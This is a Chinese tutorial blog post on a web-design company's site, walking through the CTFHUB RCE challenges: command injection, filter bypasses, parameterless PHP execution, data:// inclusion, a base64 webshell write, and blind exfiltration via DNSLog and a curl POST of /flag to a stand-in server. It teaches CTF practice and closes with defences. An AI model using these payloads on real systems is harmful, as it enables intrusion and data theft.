尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

CTFHUB RCE技能树详解:从命令注入到无参数绕过

CTFHUB RCE技能树详解:从命令注入到无参数绕过 不知道你有没有过这种感觉刷CTF题的时候看到是WEB方向心里一松结果点进去发现考的是RCE瞬间又有点发懵。命令执行、代码执行、各种绕过手法好像每个字都认识但题目就是做不出来。CTFHUB作为国内做得比较扎实的在线靶场它的WEB-RCE技能树正好可以把这块的体系梳理清楚从最简单的ping命令注入一路做到无参数、无字母的极限情况。这篇就围绕CTFHUB的RCE题目把这个方向的知识点、解题思路、绕过原理完整过一遍希望能帮到正在刷题的朋友。RCE到底是什么全称是Remote Code/Command Execution也就是远程命令执行或者远程代码执行。说直白一点就是目标服务把用户输入的内容当成系统命令或者程序代码去执行了。攻击者能借此拿到服务器权限所以它的危险等级通常都是最高档。在CTF里RCE题目的核心就一句话找到可控的输入点并且让它带上你想执行的命令或代码。1. CTFHUB的RCE技能树到底在训练什么CTFHUB的WEB方向题目有一个特点它不是把一堆零散的知识点扔给你而是按照漏洞类型把技能树分成一个个独立的模块RCE就是其中一个分支。每个分支内部又根据难度和绕过方式做了细分相当于把RCE从易到难拆成了几个递进的台阶。对比其他常见靶场CTFHUB的RCE练习路径非常适合入门者。比如BUUCTF上的题目直接就是历年真题新手很容易被难住——那些题目往往把好几个绕过手段揉在一起连题目在考什么都看不清。而CTFHUB技能树的RCE章节更像是“新手村任务”每一关只考一个核心绕过点比如这一关单独过滤了cat那一关单独过滤了空格下一关干脆要求无参数RCE。在CTF选手的实际能力模型里RCE相关题目占据了非常重要的位置。无论是Web方向的常规题还是AWDAttack With Defense攻防对抗命令执行漏洞都是出镜率极高的突破点。很多“看似拿不下来”的站往往最终都是靠一条命令注入或者一个不严谨的代码执行点拿下的。CTFHUB的RCE题目特点也比较鲜明flag路径统一早期题目会直接在根目录或者当前目录放一个flag文件比如/flag或者flag_xxx降低了前期找flag的成本让解题人专注在“如何执行命令”本身。环境隔离做得干净每个用户一个独立环境不会出现容器之间串数据的问题。过滤规则明确不同题目模拟了不同的开发者防御措施这种“模拟真实场景但又不完全仿真”的设定恰好是新手最好的练习环境。我个人的建议是如果你刚开始学Web安全的命令注入不要急着上各种综合平台刷真题先把CTFHUB技能树的RCE分支按顺序过一遍每一关都试着用至少两种方法解决这个过程的收获比盲目刷50道杂题更大。2. 命令注入的原理拆解为什么用户输入会变成系统命令在动手解题之前先把基础原理掰开揉碎讲清楚。RCE在实际中主要分两大类一类是命令注入Command Injection另一类是代码执行Code Execution。它们本质的区别在于命令注入是把输入拼接进了系统命令而代码执行是把输入直接扔进了编程语言的执行函数。以CTFHUB命令注入-无过滤这道题为例界面通常长这样ping [IP地址] // 看起来是个ping测试功能假设后端代码是这样写的?php $target $_REQUEST[ip]; $cmd shell_exec(ping -c 3 . $target); echo pre$cmd/pre; ?这段代码的本意是让用户输入一个IP地址然后系统执行ping命令检测连通性。问题就出在这里$target变量直接拼接进了系统命令字符串而且完全没有做任何过滤。如果用户输入的不是IP而是127.0.0.1; whoami那么后端实际执行的命令就会变成ping -c 3 127.0.0.1; whoami在Linux shell中分号;表示“不管前面命令成功与否都执行后面的命令”。所以系统先执行了ping -c 3 127.0.0.1紧接着又执行了whoami最终把执行结果也返回给了攻击者。这就是命令注入最基础的原型开发者把不可信的用户输入直接拼进了命令字符串。CTF题的考点通常就是“如何构造拼接后的字符串让服务器执行你想要的额外命令”。常见的命令拼接方式有以下几类拼接符号作用示例;顺序执行不管前一条是否成功ping 1.1.1.1; whoami前一条执行成功后才执行后一条ping 1.1.1.1 whoami||前一条失败才执行后一条ping 1.1.1.1 || whoami|前一条的输出作为后一条的输入ping 1.1.1.1 | whoami\n换行当作两个独立命令ping 1.1.1.1%0awhoami命令替换ping \whoami$()命令替换推荐ping $(whoami)从防御者的视角来看一般开发会采用黑名单策略把上面这些特殊字符过滤掉。但从攻击者的角度来看shell本身支持的语法太多总有绕过的手段。CTF圈有个经典比喻命令注入本质上就是SQL注入在操作系统层面的翻版SQL注入是把输入拼进SQL语句命令注入是把输入拼进shell命令。理解了这层关系你脑子里面的知识体系就能串起来了。3. 无过滤命令注入题完整的解题路径与探测流程CTFHUB技能树的第一个RCE练习通常是无过滤的命令注入。很多人第一次做这道题时习惯性地输入127.0.0.1; ls看到结果却什么都没有就不知道怎么办了。其实问题不在于注入方式而在于你还没有建立完整的解题流程。这里我把自己做题时的标准流程梳理一下第一步信息收集和连通性测试。在输入框输入127.0.0.1观察返回结果。正常情况下会返回类似64 bytes from 127.0.0.1: icmp_seq1 ttl64 time0.018 ms这样的ping响应内容。这一步的目的是确认目标环境是否正常以及返回结果是否会回显到页面上。第二步判断注入点与分隔符。输入127.0.0.1; id如果页面返回了ping的输出外加一段uid0(root) gid0(root) groups0(root)之类的内容说明分号成功充当了命令分隔符。如果只返回了ping的输出说明分号可能被过滤了或者后端不是用shell执行的需要换其他分隔符再试。CTFHUB这个环境通常用的是PHP的exec或shell_exec函数分号一般是有效的。第三步查看当前目录和flag位置。注入127.0.0.1; ls如果页面返回了当前目录的内容比如index.php等文件。如果没看到flag继续注入ls /查看根目录。CTF题目里flag的位置一般在根目录/flag或者当前目录的某个文件中。第四步读取flag文件。确认flag路径后执行cat /flag或者cat flag_xxx。这里有一个经常被忽视的细节有些题目读完flag之后页面回显不一定在当前可见区域。如果返回的页面没有显示flag内容可以尝试在命令后面拼接; echo或者用| base64编码输出确保结果能完整回显。第五步如果页面本身就带回显的话这一步其实就结束了。但如果页面没有回显就需要走反弹shell或者DNSLog带外数据通道的路子——这一部分放到后面详细讲。这道题的完整payload大致是127.0.0.1; cat /flag或者用命令替换的方式127.0.0.1$(cat /flag)两种方式都可行关键在于理解“拼接”这个基本逻辑。从实际做题的经验来看我强烈建议你养成“每做完一道题把payload记录成笔记”的习惯。CTF的考点高度重复你今天在CTFHUB上写的; cat /flag换个题目换个平台依然能用。把自己的有效payload收集起来就是最好的个人工具库。4. 过滤绕过的核心思路从空格、关键字再到组合限制CTFHUB的RCE题目不会停留在无过滤这一关后面会逐步加入过滤条件。这些过滤条件看似五花八门但归纳起来其实就三类过滤字符、过滤命令、限制格式。先说过滤空格。这是最常见的过滤方式很多后端代码只过滤了空格防止用户执行带参数的命令。绕过空格的方式非常多我列几个最实用的替代方案说明示例${IFS}系统环境变量默认包含空格cat${IFS}/flag${IFS9}Bash下的特殊用法也可代表空格cat${IFS9}/flagTab键%09URL编码的Tab字符cat%09/flag重定向符某些情况下可以替代空格cat/flag花括号展开{cat,/flag}Bash的brace expansion{cat,/flag}再说过滤关键字。比如过滤了cat这种读取命令常见的绕过方式有关键字拼接、反斜杠截断、空变量隔离等。举个例子如果系统过滤了cat你可以这样c\at /flag # 反斜杠截断 cat /flag # 空变量隔离 $(echo Y2F0|base64 -d) /flag # base64编码命令第三种方式值得多说一句Y2F0就是cat的base64编码$(echo Y2F0|base64 -d)的作用是解码得到cat然后执行。这种方式在CTF里非常常用因为很多过滤规则根本没考虑到攻击者会对命令本身做编码。还有一类是过滤了flag这个关键词。常见做法是使用通配符cat /fl* # 星号匹配任一文件名 cat /fla? # 问号匹配单个字符这里有个思维定式要注意很多人只知道用通配符却忘了shell的展开机制。通配符展开是shell层的功能发生在命令真正执行之前所以它天然可以绕过那些基于字符串匹配的过滤规则。这一点在做题时非常有效。题目最难的一类是把上述多种过滤组合到一起比如既过滤空格又过滤flag还过滤cat。这时候就要交叉使用上面提到的各种技巧灵活性很重要。来一个综合示例如果系统同时过滤了空格、flag、cat三个关键词我们可以这样构造cat${IFS}/fl*这段命令实际展开后是cat /flag但在原始输入的字符串层面空格被${IFS}替代flag被fl*替代cat被cat替代从而绕过关键词检测。这种“把命令拆碎再重组”的思路本质上是在利用shell的语法特性对抗浅层字符串过滤。理解这层逻辑后面的无参数RCE就会好切入得多。5. 无参数RCE与极度受限条件下的突破思路CTFHUB技能树里有一类题目非常经典就是无参数RCE。这类题目的代码通常长这样?php eval($_GET[code]); ?看起来很简单直接传参数执行代码就行了是吧但问题在于题目往往限制得非常死板比如?php if(isset($_GET[code])){ $code $_GET[code]; if(preg_match(/[a-zA-Z0-9]/i, $code)){ die(no no no); } eval($code); } ?这种情况下传统的system(cat /flag)就直接被杀了因为里面包含了大量字母和数字。无参数RCE的核心思路是在没有任何参数输入的情况下仅靠PHP内置函数或者是环境变量本身来构造出我们想要的命令并执行。我见过很多新手在这个环节一脸懵原因是他们习惯了“把命令写出来”的思考方式突然要求不写字母数字思维就卡住了。实际上突破口在于PHP的内置函数本身。一个经典的无参数RCE payload是这样的?codesystem(next(getallheaders()));其中getallheaders()可以拿到当前请求的所有HTTP头next()函数则返回数组中的下一个元素。这个payload的意思就是拿到HTTP请求头数组的第二个元素然后把它当作系统命令去执行。所以只要在HTTP请求头里加上Header2: cat /flag就能成功执行cat /flag。这个技巧利用了三个关键点getallheaders()能读取HTTP头数组而HTTP头又是我们可以完全控制的。PHP函数名字符串本身就是可以绕过字母数字限制的因为它是以函数名形式存在的。PHP允许链式调用也就是函数的返回值能继续作为下一个函数的参数。除了getallheaders()还有一些其他常用的PHP函数可以用来做无参数RCEget_defined_vars()获取所有已定义变量包括GET、POST、COOKIE等超级全局数组getcwd()获取当前工作目录pos()/current()取数组第一个元素array_flip()交换数组的键和值scandir()列出指定目录下的文件和目录构造无参数RCE payload本质上就是一个函数链的组合游戏。一个比较经典的例子是使用get_defined_vars()配合文件操作来读取flag?codeprint_r(scandir(current(get_defined_vars()[_GET])));这里通过get_defined_vars()拿到_GET数组再用current()取出第一个参数的值最后传给scandir()列目录。这种技巧的实际意义不单是应付CTF题目。在很多真实世界的PHP代码审计中如果开发者使用了create_function()、array_map()配合用户输入或者是preg_replace的/e修饰符都可能出现类似的无参数代码执行场景。虽然真实环境不会像CTF这样把限制条件卡到极致但“利用函数链构造执行路径”的思维方式是完全通用的。6. 利用PHP函数特性与伪协议扩展攻击面除了上面的函数链技术CTFHUB的RCE题型中还经常考查一种利用PHP伪协议和特殊函数来做攻击的方式。这里要特别提一下php://input、data://这类伪协议。以data://伪协议为例假设后端代码是这样?php include($_GET[page]); ?而且过滤了常见的目录穿越字符这时候我们可以利用data://伪协议直接执行代码?pagedata://text/plain,?php system(cat /flag);?或者base64编码之后?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg这种方式的核心原理是include能够处理伪协议而data://协议允许我们直接嵌入一段PHP代码当作文件内容去解码执行。php://input也是一个思路它允许我们从请求body读取原始数据。一个利用场景POST /?pagephp://input Content-Type: text/plain ?php system(cat /flag);?说句题外话很多CTF题目的出题人其实就是在模拟真实开发中的错误做法。include用户可控参数这种代码虽然在现代框架中罕见但在一些老旧系统、CMS插件里仍然会偶遇到。掌握这些伪协议用法不仅对刷题有用做代码审计时也更容易发现漏洞点。除了伪协议还有一个高频考点值得专门讲——长度限制型RCE。比如后端的命令执行函数是system()输入框最大长度只允许15个字符。这种短小精悍的限制其实特别考验基本功。一个例子假设长度限制在15个字符127.0.0.1;ls再看一眼长度127.0.0.1;ls正好是13个字符能跑。但你想执行cat /flag是不行的因为太长了。解决办法是利用Linux重定向和通配符把命令极简化127.0.0.1;l*但l*不一定能命中你想执行的命令。更常用的技巧是写一句话木马到web目录然后用浏览器访问。比如命令127.0.0.1;echo PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg|base64 -d1.php这条命令长度远超15个字符所以需要分段写入将base64编码拆成几段依次追加到文件里最后再解码。这种“分段写入拼接”的思路在极短限制的RCE题里几乎是必备技能。7. 命令执行的盲注场景无回显时怎么拿到flagCTFHUB的RCE技能树里还有一种情况很卡新手——命令执行了但结果看不到。后端可能是这样写的?php system($_GET[cmd]); ?你以为输入cmdls就能看到目录列表不一定。如果PHP配置了display_errorsOff或者代码本身不输出命令结果那你什么都看不到。这时候就必须走盲注思路。盲RCE的常见手法有两类延时判断和时间盲打带外数据OOB通道。延时判断很好理解——构造一条命令让系统睡眠几秒然后观察响应时间是否明显变长cmdping -c 3 127.0.0.1; sleep 5如果响应时间明显达到了5秒以上说明命令确实被执行了。这种方式虽然不能直接拿到flag内容但可以验证命令执行漏洞是否可用。带外数据通道则是把命令执行的结果通过网络发送到我们自己的服务器上。最经典的方式是使用DNSLogcmdwhoami cmd$(whoami).yourdnslog.domain这条命令会把whoami的结果作为子域名前缀拼接到DNS请求里然后发往你控制的DNSLog服务器。你在DNSLog平台上就能看到类似root.yourdnslog.domain的记录从而拿到命令输出。还有一种更直接的方式当目标系统能访问外网时直接使用curl回传数据cmdcat /flag | curl -d - http://your-server.com/这条命令的含义是读取/flag内容然后POST到我们的服务器上。只要我们在VPS上开一个监听端口就能收到flag。盲注场景的解题重点在于命令能不能执行、执行结果能不能出来、出来之后传到哪这三点中最核心的是如何创造一条出网通道。CTF的练习环境通常网络通畅DNSLog是效率最高的选择。8. 命令注入的防御侧复盘为什么黑名单拦不住刷完几道CTFHUB的RCE题目我个人最大的收获倒不是payload本身而是从“攻击者视角”反过来理解了防御端的瓶颈。很多题目的过滤方式其实就是常见的开发者处理手法——黑名单过滤特殊字符。但黑名单有个天然缺陷你永远无法穷举所有可能的恶意输入。以空格过滤为例很多开发者只过滤了空格字符 但忘了Tab字符、换行符、${IFS}、花括号展开这些替代方式各有各的绕过路径。这就导致一道看似“过滤了空格”的题目实际上十分钟内就能被多种方式打穿。如果从防御者角度来看正确做法应该是什么第一能不用系统命令就不用系统命令。很多情况下业务功能根本不需要去调用shell用PHP的ping扩展、Node的net模块就能完成网络连通性检测没必要把用户输入拼到shell命令里。第二如果确实需要执行命令那就用白名单而不是黑名单。比如传IP就严格校验IP格式?php $target $_REQUEST[ip]; if (!filter_var($target, FILTER_VALIDATE_IP)) { die(Invalid IP); } $cmd shell_exec(ping -c 3 . $target); echo pre$cmd/pre; ?第三使用escapeshellarg()或escapeshellcmd()转义用户输入避免特殊字符起作用。我经常说CTF题目里那些看起来“刁钻”的绕过技巧本质上都是因为防御者种下了“使用黑名单过滤”这个因。理解了这一点你在实际写代码时就会主动避开黑名单这个坑。9. CTF解题工具箱与环境准备最后聊点实操层面的东西。刷CTFHUB的RCE题目环境准备和工具选择直接影响解题效率。有些人纯靠浏览器硬怼遇到编码题、盲注题就会非常痛苦。我的个人工具清单大概是这样的浏览器Burp SuiteBurp主要用于改包、重放、观察响应遇到HTTP头注入、Cookie注入时是标配。HackBarFirefox插件快速构造URL编码和payload测试尤其是测试无参数RCE和伪协议时非常方便。CyberChef处理base64、URL编码、hex等格式转换属于万能解码工具。DNSLog主要用于盲RCE场景下的带外回显申请一个子域名就能用。本地VPS/云主机用于接收反弹shell或者POST数据测试OOB通道。随波逐流CTF编码工具这是国内CTF圈常用的一体化编码解码工具集成了base64、URL、MD5、ROT等一系列编码适合离线情况下快速处理。环境准备方面需要在本地装个Linux环境虚拟机或WSL都行用来测试payload和shell语法。很多人在浏览器里测试cat /flag不生效原因可能不是绕过思路的问题而是自己的测试环境没有装cat或者路径不对。先在本地终端验证payload语法再提交到靶场测试会省去很多排错时间。刷题节奏上我建议每天集中两到三小时专门刷CTFHUB的RCE技能树每道题尝试独立完成后再看WriteUp。遇到不会的题要看多篇WriteUp重点关注不同作者的思路差异。同一道无参数RCE有人用getallheaders()有人用get_defined_vars()每种思路都值得记下来。我个人还有一个习惯每次做题把payload整理到自己的笔记里标注题型和适用场景。这样积累一段时间你就有了一本属于自己的“绕过字典”遇到新题的时候直接查字典比对组合解题速度会快得多。CTF的RCE方向其实是一个越学越通透的过程刚开始觉得各种绕过手法像天书做多了会发现它们背后就那几套逻辑闭黑名单、利用shell特性、寻找新的函数链。等你在CTFHUB上把RCE技能树从头到尾刷完再看其他平台的命令注入真题会有一种降维打击的快感。
返回列表